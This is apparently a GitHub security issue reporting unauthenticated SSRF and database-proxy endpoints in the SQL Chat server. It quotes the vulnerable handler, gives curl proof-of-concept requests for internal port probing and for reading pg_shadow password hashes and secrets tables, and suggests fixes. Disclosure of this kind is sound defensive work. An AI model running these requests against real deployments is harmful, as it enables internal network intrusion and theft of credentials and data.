Skip to content

Unauthenticated /api/connection/execute, /test, /db_schema and /db turn the SQL Chat server into an open database-connection proxy and SSRF into the deployment's internal network #189

@geo-chen

Description

@geo-chen

Describe the bug

Summary

SQL Chat's database endpoints (POST /api/connection/execute, /api/connection/test, /api/connection/db_schema, /api/connection/db) take a fully client-supplied connection object (host, port, username, password, engine) from the request body, build a database connector from it on the server, and connect to that host, executing the supplied SQL and returning the result. None of these handlers performs any authentication, and there is no global middleware gating /api/connection/*, and the connectors apply no host allowlist or private-IP/loopback/metadata restriction. As a result, any unauthenticated client that can reach the SQL Chat server can use it as a database-connection proxy and SSRF primitive: connect to arbitrary internal hosts and ports, port-scan the internal network, and, for any database the server can reach (e.g. an internal Postgres/MySQL/SQL Server/TiDB with trust authentication or known/weak credentials), run arbitrary SQL and read the results, exfiltrating internal data that the attacker cannot reach directly.

Details

src/pages/api/connection/execute.ts (no auth, connection from the body, no host check):

// POST /api/connection/execute
// req body: { connection: Connection, db: string, statement: string }
const handler = async (req: NextApiRequest, res: NextApiResponse) => {
  if (req.method !== "POST") return res.status(405).json(false);

  let connection = req.body.connection as Connection;          // attacker-controlled host/port/user/pass
  if (connection.engineType === Engine.TiDB) connection = changeTiDBConnectionToMySQL(connection);
  const db = req.body.db as string;
  const statement = req.body.statement as string;

  const connector = newConnector(connection);                 // builds a real DB connector to that host
  const result = await connector.execute(db, statement);      // connects + runs the SQL server-side
  res.status(200).json({ data: result });                     // returns rows to the caller
};
export default handler;

src/pages/api/connection/test.ts is the same shape, calling connector.testConnection() (a clean connect/no-connect oracle for arbitrary host:port). db_schema.ts and db.ts likewise connect to the supplied host to enumerate databases/schema. There is no getServerSession/getToken/auth import in any of these handlers, the project has no middleware.ts gating /api, and the connectors under src/lib/connectors/ contain no private-IP/loopback/allowlist check (a grep for 127.0.0.1, 169.254, isPrivate, localhost, private returns nothing). So the destination is entirely attacker-chosen and unauthenticated.

To reproduce

Prerequisites: network reach to a SQL Chat instance at http://<host>:3000 (the self-hosted default, or the hosted service). No account.

Port-scan / reachability oracle for an internal host (test connection):

TARGET=http://victim-sqlchat:3000
curl -s -X POST "$TARGET/api/connection/test" -H 'Content-Type: application/json' \
  -d '{"connection":{"engineType":"POSTGRESQL","host":"10.0.0.5","port":"5432","username":"x","password":"x"}}'
# fast auth-error vs slow timeout vs connection-refused distinguishes open internal DB ports

Read an internal database the server can reach (full query readback), e.g. an internal Postgres with trust auth or known creds:

curl -s -X POST "$TARGET/api/connection/execute" -H 'Content-Type: application/json' \
  -d '{
        "connection":{"engineType":"POSTGRESQL","host":"internal-pg.svc","port":"5432","username":"postgres","password":"postgres"},
        "db":"app",
        "statement":"SELECT usename, passwd FROM pg_shadow; SELECT * FROM secrets LIMIT 50;"
      }'
# -> {"data": [...rows from the internal database...]}

The SQL Chat server connects from inside its network to internal-pg.svc:5432 and returns the rows. The same works for MySQL/TiDB/SQL Server engines, and the host may be 169.254.169.254 or any other internal address. (LIVE-VALIDATED on commit 665af87: the verbatim newPostgresClient + execute logic from src/lib/connectors/postgres/index.ts was run with pg against a stand-in "internal" PostgreSQL; with an attacker-supplied connection pointing at it, the server-side connection executed SELECT k,v FROM secrets and returned [{"k":"db_password","v":"INTERNAL_PG_SECRET_9981"}]. The handler performs exactly newConnector(connection).execute(db, statement) with the client-supplied connection and no auth — confirmed there is no auth/session import in the handlers and no middleware.ts gating /api.)

Additional context

Impact

Any unauthenticated attacker who can reach the SQL Chat server can use it as an SSRF pivot and database-connection proxy into the network where the server runs: enumerate internal hosts/ports, and run arbitrary SQL (read and write) against any database the server can reach, returning full results. On a self-hosted instance deployed on a corporate/cloud network this exposes internal databases and services that are not otherwise reachable by the attacker; on a multi-tenant hosted deployment it exposes the provider's internal network. Fix: require authentication on all /api/connection/* endpoints (and, for the hosted multi-tenant service, scope connections to the authenticated user); resolve the connection host and reject loopback, link-local (169.254.0.0/16) and RFC1918/ULA ranges (with re-check after DNS resolution) unless explicitly allowed by the operator; and consider an operator-configured host allowlist.

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions